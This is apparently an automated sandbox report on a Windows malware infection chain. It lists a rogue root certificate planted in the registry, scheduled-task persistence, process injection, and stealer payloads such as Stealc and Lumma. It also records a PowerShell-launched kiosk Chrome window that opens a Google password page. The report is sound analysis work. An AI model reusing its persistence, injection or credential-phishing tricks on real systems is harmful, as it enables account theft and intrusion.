Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	RegAsm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	uOCjOdPaWk.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exe

pid process

1608 schtasks.exe
1296 schtasks.exe
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

context.exe

pid process

6808 context.exe

pid	process
1608	schtasks.exe
1296	schtasks.exe

pid	process
6808	context.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.exeaxplong.exejavtestnoreport.exestealc_default2.exeuOCjOdPaWk.exeRegAsm.exeeXdFKNSXGF.exerstxdhuj.exeRegAsm.exe3956d58270.exenewbundle2.exec88f052609.exeskotes.exe4861afcbbb.exeWaters.pifd9fc199e6c.exeThermal.pifpowershell.exechrome.exepowershell.exe

pid	process
2904	97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.exe
2668	axplong.exe
2748	javtestnoreport.exe
2748	javtestnoreport.exe
3024	stealc_default2.exe
584	uOCjOdPaWk.exe
1716	RegAsm.exe
1716	RegAsm.exe
1716	RegAsm.exe
1108	eXdFKNSXGF.exe
1108	eXdFKNSXGF.exe
1108	eXdFKNSXGF.exe
3024	stealc_default2.exe
2972	rstxdhuj.exe
2816	RegAsm.exe
2816	RegAsm.exe
2816	RegAsm.exe
6792	3956d58270.exe
2176	newbundle2.exe
2176	newbundle2.exe
7096	c88f052609.exe
2960	skotes.exe
2176	newbundle2.exe
1112	4861afcbbb.exe
6356	Waters.pif
6356	Waters.pif
6356	Waters.pif
6356	Waters.pif
6356	Waters.pif
6356	Waters.pif
6356	Waters.pif
6356	Waters.pif
6356	Waters.pif
6356	Waters.pif
6356	Waters.pif
6356	Waters.pif
6356	Waters.pif
6356	Waters.pif
6356	Waters.pif
6356	Waters.pif
6356	Waters.pif
6356	Waters.pif
2580	d9fc199e6c.exe
4580	Thermal.pif
4580	Thermal.pif
4580	Thermal.pif
4580	Thermal.pif
4580	Thermal.pif
4580	Thermal.pif
4580	Thermal.pif
4580	Thermal.pif
4580	Thermal.pif
4580	Thermal.pif
4580	Thermal.pif
4580	Thermal.pif
4580	Thermal.pif
4580	Thermal.pif
5200	powershell.exe
5200	powershell.exe
5200	powershell.exe
5764	chrome.exe
5764	chrome.exe
988	powershell.exe
988	powershell.exe

Suspicious use of AdjustPrivilegeToken 56 IoCs

Processes:

uOCjOdPaWk.exeRegAsm.exepenis.exeeXdFKNSXGF.exerstxdhuj.exeRegAsm.exenewbundle2.exetasklist.exetasklist.exetasklist.exetasklist.exepowershell.exechrome.exepowershell.exeprocessclass.exechrome.exe

description	pid	process
Token: SeDebugPrivilege	584	uOCjOdPaWk.exe
Token: SeBackupPrivilege	584	uOCjOdPaWk.exe
Token: SeSecurityPrivilege	584	uOCjOdPaWk.exe
Token: SeSecurityPrivilege	584	uOCjOdPaWk.exe
Token: SeSecurityPrivilege	584	uOCjOdPaWk.exe
Token: SeSecurityPrivilege	584	uOCjOdPaWk.exe
Token: SeDebugPrivilege	1716	RegAsm.exe
Token: SeDebugPrivilege	2908	penis.exe
Token: SeBackupPrivilege	2908	penis.exe
Token: SeSecurityPrivilege	2908	penis.exe
Token: SeSecurityPrivilege	2908	penis.exe
Token: SeSecurityPrivilege	2908	penis.exe
Token: SeSecurityPrivilege	2908	penis.exe
Token: SeDebugPrivilege	1108	eXdFKNSXGF.exe
Token: SeDebugPrivilege	2972	rstxdhuj.exe
Token: SeDebugPrivilege	2972	rstxdhuj.exe
Token: SeDebugPrivilege	2816	RegAsm.exe
Token: SeDebugPrivilege	2176	newbundle2.exe
Token: SeDebugPrivilege	5324	tasklist.exe
Token: SeDebugPrivilege	5964	tasklist.exe
Token: SeDebugPrivilege	3136	tasklist.exe
Token: SeDebugPrivilege	3588	tasklist.exe
Token: SeDebugPrivilege	5200	powershell.exe
Token: SeBackupPrivilege	2908	penis.exe
Token: SeSecurityPrivilege	2908	penis.exe
Token: SeSecurityPrivilege	2908	penis.exe
Token: SeSecurityPrivilege	2908	penis.exe
Token: SeSecurityPrivilege	2908	penis.exe
Token: SeShutdownPrivilege	5764	chrome.exe
Token: SeShutdownPrivilege	5764	chrome.exe
Token: SeDebugPrivilege	988	powershell.exe
Token: SeShutdownPrivilege	5764	chrome.exe
Token: SeShutdownPrivilege	5764	chrome.exe
Token: SeShutdownPrivilege	5764	chrome.exe
Token: SeShutdownPrivilege	5764	chrome.exe
Token: SeShutdownPrivilege	5764	chrome.exe
Token: SeShutdownPrivilege	5764	chrome.exe
Token: SeShutdownPrivilege	5764	chrome.exe
Token: SeShutdownPrivilege	5764	chrome.exe
Token: SeShutdownPrivilege	5764	chrome.exe
Token: SeShutdownPrivilege	5764	chrome.exe
Token: SeDebugPrivilege	3768	processclass.exe
Token: SeShutdownPrivilege	5764	chrome.exe
Token: SeShutdownPrivilege	5764	chrome.exe
Token: SeShutdownPrivilege	4128	chrome.exe
Token: SeShutdownPrivilege	4128	chrome.exe
Token: SeShutdownPrivilege	5764	chrome.exe
Token: SeShutdownPrivilege	5764	chrome.exe
Token: SeShutdownPrivilege	5764	chrome.exe
Token: SeShutdownPrivilege	5764	chrome.exe
Token: SeShutdownPrivilege	5764	chrome.exe
Token: SeShutdownPrivilege	5764	chrome.exe
Token: SeShutdownPrivilege	5764	chrome.exe
Token: SeShutdownPrivilege	5764	chrome.exe
Token: SeShutdownPrivilege	5764	chrome.exe
Token: SeShutdownPrivilege	5764	chrome.exe

Suspicious use of FindShellTrayWindow 13 IoCs

Processes:

97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.exeNework.exec88f052609.exeWaters.pifThermal.pifchrome.exe

pid	process
2904	97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.exe
1536	Nework.exe
7096	c88f052609.exe
6356	Waters.pif
6356	Waters.pif
6356	Waters.pif
4580	Thermal.pif
4580	Thermal.pif
4580	Thermal.pif
5764	chrome.exe
5764	chrome.exe
5764	chrome.exe
5764	chrome.exe

Suspicious use of SendNotifyMessage 6 IoCs

Processes:

Waters.pifThermal.pif

pid process

6356 Waters.pif
6356 Waters.pif
6356 Waters.pif
4580 Thermal.pif
4580 Thermal.pif
4580 Thermal.pif

pid	process
6356	Waters.pif
6356	Waters.pif
6356	Waters.pif
4580	Thermal.pif
4580	Thermal.pif
4580	Thermal.pif

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.exeaxplong.exegold.exe12dsvc.exeNework.exeHkbsse.exejavtestnoreport.exeneedmoney.exe

description	pid	process	target process
PID 2904 wrote to memory of 2668	2904	97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.exe	axplong.exe
PID 2904 wrote to memory of 2668	2904	97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.exe	axplong.exe
PID 2904 wrote to memory of 2668	2904	97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.exe	axplong.exe
PID 2904 wrote to memory of 2668	2904	97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.exe	axplong.exe
PID 2668 wrote to memory of 2500	2668	axplong.exe	gold.exe
PID 2668 wrote to memory of 2500	2668	axplong.exe	gold.exe
PID 2668 wrote to memory of 2500	2668	axplong.exe	gold.exe
PID 2668 wrote to memory of 2500	2668	axplong.exe	gold.exe
PID 2500 wrote to memory of 1716	2500	gold.exe	RegAsm.exe
PID 2500 wrote to memory of 1716	2500	gold.exe	RegAsm.exe
PID 2500 wrote to memory of 1716	2500	gold.exe	RegAsm.exe
PID 2500 wrote to memory of 1716	2500	gold.exe	RegAsm.exe
PID 2500 wrote to memory of 1716	2500	gold.exe	RegAsm.exe
PID 2500 wrote to memory of 1716	2500	gold.exe	RegAsm.exe
PID 2500 wrote to memory of 1716	2500	gold.exe	RegAsm.exe
PID 2500 wrote to memory of 1716	2500	gold.exe	RegAsm.exe
PID 2500 wrote to memory of 1716	2500	gold.exe	RegAsm.exe
PID 2500 wrote to memory of 1716	2500	gold.exe	RegAsm.exe
PID 2500 wrote to memory of 1716	2500	gold.exe	RegAsm.exe
PID 2500 wrote to memory of 1716	2500	gold.exe	RegAsm.exe
PID 2668 wrote to memory of 2476	2668	axplong.exe	12dsvc.exe
PID 2668 wrote to memory of 2476	2668	axplong.exe	12dsvc.exe
PID 2668 wrote to memory of 2476	2668	axplong.exe	12dsvc.exe
PID 2668 wrote to memory of 2476	2668	axplong.exe	12dsvc.exe
PID 2476 wrote to memory of 584	2476	12dsvc.exe	uOCjOdPaWk.exe
PID 2476 wrote to memory of 584	2476	12dsvc.exe	uOCjOdPaWk.exe
PID 2476 wrote to memory of 584	2476	12dsvc.exe	uOCjOdPaWk.exe
PID 2476 wrote to memory of 584	2476	12dsvc.exe	uOCjOdPaWk.exe
PID 2476 wrote to memory of 1108	2476	12dsvc.exe	eXdFKNSXGF.exe
PID 2476 wrote to memory of 1108	2476	12dsvc.exe	eXdFKNSXGF.exe
PID 2476 wrote to memory of 1108	2476	12dsvc.exe	eXdFKNSXGF.exe
PID 2476 wrote to memory of 1108	2476	12dsvc.exe	eXdFKNSXGF.exe
PID 2668 wrote to memory of 1536	2668	axplong.exe	Nework.exe
PID 2668 wrote to memory of 1536	2668	axplong.exe	Nework.exe
PID 2668 wrote to memory of 1536	2668	axplong.exe	Nework.exe
PID 2668 wrote to memory of 1536	2668	axplong.exe	Nework.exe
PID 1536 wrote to memory of 2388	1536	Nework.exe	Hkbsse.exe
PID 1536 wrote to memory of 2388	1536	Nework.exe	Hkbsse.exe
PID 1536 wrote to memory of 2388	1536	Nework.exe	Hkbsse.exe
PID 1536 wrote to memory of 2388	1536	Nework.exe	Hkbsse.exe
PID 2668 wrote to memory of 3024	2668	axplong.exe	stealc_default2.exe
PID 2668 wrote to memory of 3024	2668	axplong.exe	stealc_default2.exe
PID 2668 wrote to memory of 3024	2668	axplong.exe	stealc_default2.exe
PID 2668 wrote to memory of 3024	2668	axplong.exe	stealc_default2.exe
PID 2388 wrote to memory of 2748	2388	Hkbsse.exe	javtestnoreport.exe
PID 2388 wrote to memory of 2748	2388	Hkbsse.exe	javtestnoreport.exe
PID 2388 wrote to memory of 2748	2388	Hkbsse.exe	javtestnoreport.exe
PID 2388 wrote to memory of 2748	2388	Hkbsse.exe	javtestnoreport.exe
PID 2748 wrote to memory of 1236	2748	javtestnoreport.exe	WerFault.exe
PID 2748 wrote to memory of 1236	2748	javtestnoreport.exe	WerFault.exe
PID 2748 wrote to memory of 1236	2748	javtestnoreport.exe	WerFault.exe
PID 2668 wrote to memory of 1520	2668	axplong.exe	needmoney.exe
PID 2668 wrote to memory of 1520	2668	axplong.exe	needmoney.exe
PID 2668 wrote to memory of 1520	2668	axplong.exe	needmoney.exe
PID 2668 wrote to memory of 1520	2668	axplong.exe	needmoney.exe
PID 2668 wrote to memory of 2908	2668	axplong.exe	penis.exe
PID 2668 wrote to memory of 2908	2668	axplong.exe	penis.exe
PID 2668 wrote to memory of 2908	2668	axplong.exe	penis.exe
PID 2668 wrote to memory of 2908	2668	axplong.exe	penis.exe
PID 1520 wrote to memory of 1596	1520	needmoney.exe	svchost015.exe
PID 1520 wrote to memory of 1596	1520	needmoney.exe	svchost015.exe
PID 1520 wrote to memory of 1596	1520	needmoney.exe	svchost015.exe
PID 1520 wrote to memory of 1596	1520	needmoney.exe	svchost015.exe
PID 1520 wrote to memory of 1596	1520	needmoney.exe	svchost015.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1208

C:\Users\Admin\AppData\Local\Temp\97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.exe
"C:\Users\Admin\AppData\Local\Temp\97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.exe"
2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2904

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
"C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2668

C:\Users\Admin\AppData\Local\Temp\1000002001\gold.exe
"C:\Users\Admin\AppData\Local\Temp\1000002001\gold.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2500

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
5⤵
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1716

C:\Users\Admin\AppData\Local\Temp\1000004001\12dsvc.exe
"C:\Users\Admin\AppData\Local\Temp\1000004001\12dsvc.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2476

C:\Users\Admin\AppData\Roaming\uOCjOdPaWk.exe
"C:\Users\Admin\AppData\Roaming\uOCjOdPaWk.exe"
5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:584

C:\Users\Admin\AppData\Roaming\eXdFKNSXGF.exe
"C:\Users\Admin\AppData\Roaming\eXdFKNSXGF.exe"
5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1108

C:\Users\Admin\AppData\Local\Temp\1000005001\Nework.exe
"C:\Users\Admin\AppData\Local\Temp\1000005001\Nework.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1536

C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
"C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2388

C:\Users\Admin\AppData\Local\Temp\1000070001\javtestnoreport.exe
"C:\Users\Admin\AppData\Local\Temp\1000070001\javtestnoreport.exe"
6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2748

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2748 -s 232
7⤵
- Loads dropped DLL
PID:1236

C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe
"C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:3024

C:\Users\Admin\AppData\Local\Temp\1000191001\needmoney.exe
"C:\Users\Admin\AppData\Local\Temp\1000191001\needmoney.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1520

C:\Users\Admin\AppData\Local\Temp\svchost015.exe
C:\Users\Admin\AppData\Local\Temp\svchost015.exe
5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1596

C:\Users\Admin\AppData\Local\Temp\1000254001\penis.exe
"C:\Users\Admin\AppData\Local\Temp\1000254001\penis.exe"
4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2908

C:\Users\Admin\AppData\Local\Temp\1000290001\crypted.exe
"C:\Users\Admin\AppData\Local\Temp\1000290001\crypted.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
PID:2936

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2816

C:\Users\Admin\AppData\Local\Temp\1000314001\LummaC222222.exe
"C:\Users\Admin\AppData\Local\Temp\1000314001\LummaC222222.exe"
4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:308

C:\Users\Admin\AppData\Local\Temp\1000322001\newbundle2.exe
"C:\Users\Admin\AppData\Local\Temp\1000322001\newbundle2.exe"
4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2176

C:\Users\Admin\AppData\Local\Temp\1000342001\rstxdhuj.exe
"C:\Users\Admin\AppData\Local\Temp\1000342001\rstxdhuj.exe"
4⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2972

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2972 -s 804
5⤵
- Loads dropped DLL
- Program crash
PID:6620

C:\Users\Admin\AppData\Local\Temp\1000354001\3956d58270.exe
"C:\Users\Admin\AppData\Local\Temp\1000354001\3956d58270.exe"
4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:6792

C:\Users\Admin\AppData\Local\Temp\1000355001\c88f052609.exe
"C:\Users\Admin\AppData\Local\Temp\1000355001\c88f052609.exe"
4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:7096

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
"C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:2960

C:\Users\Admin\AppData\Local\Temp\1000023001\4861afcbbb.exe
"C:\Users\Admin\AppData\Local\Temp\1000023001\4861afcbbb.exe"
6⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:1112

C:\Users\Admin\1000026002\d9fc199e6c.exe
"C:\Users\Admin\1000026002\d9fc199e6c.exe"
6⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:2580

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\1000032042\ko.ps1"
6⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5200

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --kiosk --user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data
7⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5764

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Google\Chrome\User\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc8,0xcc,0xd0,0x9c,0xd4,0x7fef2999758,0x7fef2999768,0x7fef2999778
8⤵
PID:2172

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1172 --field-trial-handle=1376,i,1689421433302598429,1513243022576274955,131072 /prefetch:2
8⤵
PID:1660

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=1508 --field-trial-handle=1376,i,1689421433302598429,1513243022576274955,131072 /prefetch:8
8⤵
PID:1840

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=1588 --field-trial-handle=1376,i,1689421433302598429,1513243022576274955,131072 /prefetch:8
8⤵
PID:1484

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2076 --field-trial-handle=1376,i,1689421433302598429,1513243022576274955,131072 /prefetch:1
8⤵
PID:1652

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2084 --field-trial-handle=1376,i,1689421433302598429,1513243022576274955,131072 /prefetch:1
8⤵
PID:3120

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2132 --field-trial-handle=1376,i,1689421433302598429,1513243022576274955,131072 /prefetch:1
8⤵
PID:3644

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --extension-process --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2780 --field-trial-handle=1376,i,1689421433302598429,1513243022576274955,131072 /prefetch:1
8⤵
PID:4056

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --extension-process --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=2884 --field-trial-handle=1376,i,1689421433302598429,1513243022576274955,131072 /prefetch:1
8⤵
PID:4116

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1692 --field-trial-handle=1376,i,1689421433302598429,1513243022576274955,131072 /prefetch:2
8⤵
PID:5144

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=1316 --field-trial-handle=1376,i,1689421433302598429,1513243022576274955,131072 /prefetch:1
8⤵
PID:5792

